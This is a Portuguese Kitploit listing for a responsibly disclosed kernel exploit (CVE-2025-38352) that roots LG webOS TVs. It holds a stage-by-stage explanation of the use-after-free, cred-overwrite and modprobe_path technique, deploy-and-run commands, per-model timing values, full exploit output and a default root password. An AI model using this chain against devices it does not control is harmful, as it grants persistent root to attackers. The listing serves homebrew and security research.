Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
chronomaly-webos — Exploit de kernel CVE-2025-38352 para Smart TVs LG webOS (ARM64). Obtém root persistente em hardware de consumo real com técnicas de exploração inovadoras. Divulgado de forma responsável à LG. | Kitploit
Ferramentas/GitHubGitHub/analyticeth/chronomaly-webos
Segurança de Sistemas EmbarcadosEscalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoSegurança de HardwareAprendizado e EducaçãoExploração de Binários
GitHubanalyticeth/chronomaly-webos

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

chronomaly-webos

Exploit de kernel CVE-2025-38352 para Smart TVs LG webOS (ARM64). Obtém root persistente em hardware de consumo real com técnicas de exploração inovadoras. Divulgado de forma responsável à LG.

Ver Repositório
10há 2 mesesAinda não revisado

Chronomaly — CVE-2025-38352 no LG webOS

Exploit de kernel para CVE-2025-38352 (condição de corrida do timer POSIX CPU / use-after-free) alcançando root persistente em Smart TVs LG webOS rodando kernel 5.4.268 em ARM64. Verificado em 4 modelos de TV em múltiplas versões de firmware. Divulgado responsavelmente ao Programa de Pesquisadores de Segurança da LG (Fevereiro de 2026).

Construído sobre o Chronomaly por farazsth98. A lógica de corrida UAF do Estágio 1 e a infraestrutura cross-cache foram portadas e adaptadas para ARM64; os Estágios 2 a 5 foram reprojetados com técnicas de exploração inovadoras e soluções para restrições de hardware real que não existem em ambientes emulados. Desenvolvido com a assistência do Claude Opus 4.6.

Veja VULNERABILITY_REPORT.md para a análise completa da vulnerabilidade, explicação da cadeia de exploração e mitigações recomendadas.

Resultados

  • Root persistente do kernel (uid=0) a partir do usuário não privilegiado prisoner (uid=5038)
  • Verificado em 5 modelos de TV LG: OLED65C2PUA, 86QNED70AUA, OLED77C5PUA, OLED77G4WUA, OLED65C4PUA
  • Confirmado nas versões de firmware 33.22.65 – 33.30.97 (kernel 5.4.268-320 e -329)
  • Totalmente automatizado, conclui em minutos, sobrevive a reinicializações via elevação do Homebrew Channel
  • Relatado ao Programa de Pesquisadores de Segurança da LG (7 de fevereiro de 2026)

Aviso Legal

Este exploit foi desenvolvido como parte de pesquisa de segurança responsável e relatado ao Programa de Pesquisadores de Segurança da LG em 7 de fevereiro de 2026. É publicado apenas para fins educacionais. Use com responsabilidade e apenas em dispositivos que você possui. Os autores não são responsáveis por qualquer dano, brick, perda de dados ou anulação de garantia resultante do uso deste software. Este software é fornecido "como está", sem garantia.

Técnicas Inovadoras

1. Primitiva de Escrita Redesenhada

O decremento arbitrário original é lento e ruidoso: ele pulveriza 1000 objetos struct cred via processos bifurcados e depois decrementa o campo EUID do cred alvo N vezes. Cada decremento é uma operação separada. Isso é aceitável no QEMU, onde o timing é tolerante, mas não confiável em hardware real, onde a recuperação de páginas orientada por interrupções pode roubar páginas do buffer do pipe entre as operações.

Isso foi substituído por uma única escrita arbitrária via list_del_init(). O exploit sobrescreve os ponteiros list_head.next e list_head.prev do sigqueue UAF através do buffer do pipe. Quando o kernel desenfileira o sinal pendente (collect_signal() → list_del_init()), ele executa prev->next = next (escreve o endereço de cred falso em task_struct->cred) e next->prev = prev (escrita controlada de efeito colateral). Uma única escrita substitui o ponteiro cred do processo por um ponteiro para uma estrutura cred falsa contendo todos os campos uid/gid zero. Sem pulverização de cred, sem processos bifurcados, determinístico.

2. peek_pipe() via tee() para Leituras Não-Destrutivas

O original usa chamadas read() destrutivas nos buffers do pipe durante todo o exploit. No QEMU, isso funciona bem porque as páginas não são roubadas entre as operações. Em hardware real com 4 núcleos físicos, a lista de páginas por CPU do kernel (pcplist) recupera agressivamente páginas liberadas. Uma leitura destrutiva libera a página de suporte do buffer do pipe, que pode ser imediatamente roubada por uma interrupção de hardware antes que o exploit possa realocá-la.

A solução é uma primitiva de leitura não-destrutiva usando tee(). A chamada de sistema tee() duplica dados do pipe entre dois pipes sem consumi-los, mantendo a página de suporte do buffer do pipe original fixada. Isso permite que o exploit leia dados do kernel do buffer do pipe cross-cached repetidamente sem risco de perda de página. Isso foi crítico para a confiabilidade em hardware real.

3. Cred Falso no Segundo Buffer de Pipe Cross-Cached

O original pulveriza objetos cred e espera que um deles caia em uma posição previsível. Esta versão constrói a estrutura cred falsa em um endereço conhecido realizando um segundo cross-cache: alocar um novo sigqueue (via tkill(SIGRTMIN+1)), aprender seu endereço a partir do vazamento de heap do primeiro buffer do pipe e, em seguida, fazer o cross-cache da página slab desse sigqueue em um segundo buffer do pipe. O cred falso é escrito no segundo buffer do pipe no deslocamento exato da página do endereço do sigqueue vazado. O resultado é um cred falso em um endereço de kernel determinístico, sem adivinhação.

4. SIGUSR2 Mantido Pendente como Gatilho de Escrita Final

O original desenfileira SIGUSR2 no início do Estágio 2 para vazar o endereço do sigqueue UAF. Isso consome o sinal, então o original precisa de um mecanismo diferente para a escrita final. Esta versão nunca precisa do endereço do próprio sigqueue UAF (o vazamento de heap vem dos ponteiros adjacentes do sigqueue no buffer do pipe). O SIGUSR2 é mantido pendente em todos os cinco estágios e seu desenfileiramento é usado como o gatilho de escrita arbitrária final. O sinal que criou o UAF é o mesmo sinal cujo desenfileiramento o explora.

5. modprobe_path + socket(44) Escalação

A estrutura cred falsa tem ponteiros NULL em user_ns, user e group_info (já que o buffer do pipe é zerado além dos campos uid/gid). Chamar setresuid(), fork() ou exec() desreferenciaria esses ponteiros NULL e causaria pânico no kernel. O original evita isso porque sua pulverização de cred usa objetos cred reais com ponteiros válidos.

Solução: sobrescrever /proc/sys/kernel/modprobe para apontar para um script de payload (/tmp/pwn) e, em seguida, acionar call_usermodehelper via socket(44, SOCK_STREAM, 0) (solicitando uma família de protocolo inexistente). O kernel executa o helper modprobe com init_cred (as credenciais de root do próprio kernel, totalmente válidas), contornando o cred corrompido. O payload é executado como root completo e pode realizar operações arbitrárias.

6. Proteção de Tempo em Hardware Real

A janela crítica no Estágio 4 (escrever ponteiros maliciosos no buffer do pipe e, em seguida, acionar o desenfileiramento do sinal) é vulnerável a interrupções de hardware que roubam a página do buffer do pipe da lista de páginas por CPU. Isso não acontece no QEMU. Em hardware real, essa janela é protegida com prioridade SCHED_FIFO (quando disponível) e sched_yield() para permitir que o trabalho pendente seja concluído na CPU antes de entrar na seção crítica, além de conteúdos de buffer pré-preparados para minimizar o tempo entre a escrita e o gatilho. O exploit também recai graciosamente quando SCHED_FIFO não está disponível (como no webOS, onde o usuário prisioneiro não tem CAP_SYS_NICE).

7. Engenharia Reversa do Offset task_struct em ARM64

A escrita arbitrária tem como alvo task_struct->cred, o que requer saber o deslocamento de bytes de task_struct->pending (cujo endereço é vazado do buffer do pipe) até task_struct->cred. Esse offset depende da configuração do kernel. O offset de 0x80 (128 bytes) foi calculado manualmente a partir do código-fonte do kernel LG webOS, levando em conta CONFIG_KEYS=y, CONFIG_SYSVIPC=y e o layout e alinhamento específicos da estrutura ARM64. O offset x86_64 no original é diferente devido ao empacotamento e opções de configuração diferentes.


O Que Faz

Em caso de sucesso, o exploit:

  1. Obtém root do kernel via UAF → cross-cache → escrita arbitrária (sobrescrita do cred)
  2. Sobrescreve /proc/sys/kernel/modprobe para executar um payload de rooting como init
  3. O payload instala e eleva o Homebrew Channel e remove o aplicativo Modo Dev
  4. Após a reinicialização, o Homebrew Channel fornece SSH root persistente na porta 22

Início Rápido

Pré-requisitos

  • TV LG webOS com kernel 5.4.268 (ARM64)
  • Modo Dev ativado na TV (acesso SSH na porta 9922)
  • Compilador cruzado ARM64 (aarch64-linux-gnu-gcc)
  • IPK do Homebrew Channel — baixe dos lançamentos do webosbrew

Instalar Compilador Cruzado

root@kitploit:~
# macOS (requer tap de terceiros)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu

# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu

Recomendado: Instalar o Homebrew Channel Primeiro

Instale o aplicativo Homebrew Channel na sua TV via Modo Dev antes de executar o exploit. Dessa forma, o payload de rooting só precisa elevá-lo (rápido, confiável) em vez de instalar + elevar (mais lento, pode falhar). Você pode instalar lateralmente usando ares-install ou o aplicativo Dev Manager:

root@kitploit:~
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk

Se o HBC não estiver pré-instalado, o exploit tentará instalá-lo a partir de /tmp/hbchannel.ipk (implantado por deploy-webos.sh), mas isso adiciona etapas extras que podem falhar.

Compilar, Implantar, Executar

root@kitploit:~
# 1. Defina o IP da sua TV e a chave SSH
#    O IP da sua TV está em Configurações > Rede > Wi-Fi > Configurações Avançadas
#    A chave SSH é gerada pelo aplicativo LG Developer Mode — procure a chave
#    baixada pelo Dev Manager ou ares-setup-device (normalmente chamada webos_rsa)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"

# 2. Compilar e implantar (deploy-webos.sh lida com a compilação automaticamente)
./deploy-webos.sh

# 3. Conectar e executar
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64

Variáveis de Ambiente

Ajuste

O exploit aceita parâmetros de tempo como argumentos de linha de comando:

root@kitploit:~
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]

Se nenhum argumento for fornecido, os padrões compilados são usados (DELAY=31000, DELTA=50, THRESHOLD=3000). Se DELAY for fornecido, mas DELTA não, DELTA é calculado automaticamente como DELAY / 600 (arredondado para o 5 mais próximo).

Valores Conhecidos Bons

Encontrando Valores para uma Nova TV

Observe a saída do exploit e ajuste DELAY:

root@kitploit:~
Parent raced too late   → DIMINUIR DELAY
Parent raced too early  → AUMENTAR DELAY

Quando ambas as mensagens aparecerem, o tempo está próximo — continue executando e o exploit deve eventualmente atingir a janela de corrida. Comece com o padrão compilado (31000) e ajuste a partir daí.

Após Root

  1. O exploit aguardará /tmp/pwn terminar — muitas vezes expira (isso é normal). Verifique /tmp/pwn.log para verificar manualmente se o payload foi concluído, se necessário.
  2. Reinicie a TV
  3. Após a reinicialização, o Homebrew Channel fornece SSH na porta 22:
    root@kitploit:~
    ssh root@<TV_IP>
    # senha: alpine
    

Exemplo de Saída

root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] fake_cred_addr = 0xffffff804908c820

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [DEBUG] All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Signal dequeued successfully!
        [+] Arbitrary write completed: task->cred now points to fake_cred
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
Saída completa (OLED C5)
root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Cleaning up all cross-cache allocations to prepare for next cross-cache
        [+] Preparing task pending list for heap leaks
        [DEBUG] Pipe buffer page dump (non-zero qwords):
        [DEBUG]   offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
        [DEBUG]   offset 0x968: 0xffffff80485913f8 [kernel ptr]
        [+] Heap leaks:
                - UAF sigqueue page offset 0x960
                - Other sigqueue 0xffffff804dbee2d0
                - Task pending list addr 0xffffff80485913f8
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] new_addr = 0xffffff804908c820 (page offset 0x820)
        [+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
        [+] Freeing slab 3 page...
        [+] Writing fake cred at page offset 0x820
        [+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
        [+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] task_pending_list_addr = 0xffffff80485913f8
        [+] cred_offset = 0x80 (128 bytes)
        [+] task_cred_ptr_addr = 0xffffff8048591378
        [+] fake_cred_addr = 0xffffff804908c820
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [-] SCHED_FIFO unavailable - proceeding anyway
        [DEBUG] Verifying sigqueue fields in pipe buffer:
        [DEBUG]   list.next  = 0xffffff804908c820 (expected 0xffffff804908c820) OK
        [DEBUG]   list.prev  = 0xffffff8048591378 (expected 0xffffff8048591378) OK
        [DEBUG]   flags      = 1 (expected 1) OK
        [DEBUG]   si_signo   = 12 (expected 12 = SIGUSR2) OK
        [DEBUG]   All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
        [+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
        [DEBUG] poll() returned 1, revents=0x1
        [DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
        [DEBUG] Key addresses for list_del_init:
        [DEBUG]   UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
        [DEBUG]   UAF.next (entry->next) = fake_cred     = 0xffffff804908c820
        [DEBUG]   fake_cred[0] should be task_pending_list = 0xffffff80485913f8
        [DEBUG] Expected writes:
        [DEBUG]   *(0xffffff8048591378) = 0xffffff804908c820  (task->cred = fake_cred)
        [DEBUG]   *(0xffffff804908c828) = 0xffffff8048591378  (fake_cred.prev = task_cred_ptr)
        [DEBUG] Verifying pipe buffers still valid...
        [DEBUG]   realloc_pipe read(0) = 0 (errno=1)
        [DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
        [DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
        [DEBUG] read() returned 128, errno=0 (Success)
        [DEBUG] Blocking mode restored
        [+] Signal dequeued successfully! (read 128 bytes)
        [DEBUG] POST-DEQUEUE pipe buffer check:
        [DEBUG]   list.next = 0xffffff80417e9960
        [DEBUG]   list.prev = 0xffffff80417e9960
        [DEBUG]   Pointers changed by kernel (list_del_init applied to our page)
        [+] Arbitrary write completed: task->cred now points to fake_cred

        [+] Checking privileges...
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
        [+] Waiting for /tmp/pwn to finish...
        [+] May take up to 5 minutes to finish.

Licença

Contribuições originais são licenciadas sob MIT. Partes derivadas do Chronomaly por farazsth98 são excluídas da concessão MIT porque o projeto upstream foi publicado sem uma licença explícita. Veja LICENSE para detalhes.

Referências

  • CVE-2025-38352 — Boletim de Segurança Android de Setembro de 2025 (explorado ativamente)
  • Chronomaly — Exploit original por farazsth98 (x86_64/QEMU)
  • Parte 1 — Análise de Vulnerabilidade do Kernel Android em Uso Ativo + PoC
  • Parte 2 — Estendendo a Janela de Corrida Sem um Patch do Kernel
  • Parte 3 — Descobrindo o Chronomaly
  • Homebrew Channel
Baixar ferramenta
VariávelPadrãoDescrição
WEBOS_IP192.168.1.100Endereço IP da TV
WEBOS_PORT9922Porta SSH
WEBOS_USERprisonerUsuário SSH
WEBOS_KEY$HOME/.ssh/webos_rsaCaminho da chave SSH
Modelo de TVID OTADELAYDELTATHRESHOLD
OLED65C2PUAHE_DTV_W22O_AFABATPU29700503000
86QNED70AUAHE_DTV_W25P_AFADATAA1000001653000
OLED77C5PUAHE_DTV_W25G_AFABATAA30500503000
OLED77G4WUAHE_DTV_W24O_AFABATAA24500502500
OLED65C4PUAHE_DTV_W24G_AFABATAA30000503000
OLED55C4PUAHE_DTV_W24G_AFABATAA30300503000
OLED48C3AUB-31300503000
OLED65C3PUAHE_DTV_W23O_AFABJAAA27900503000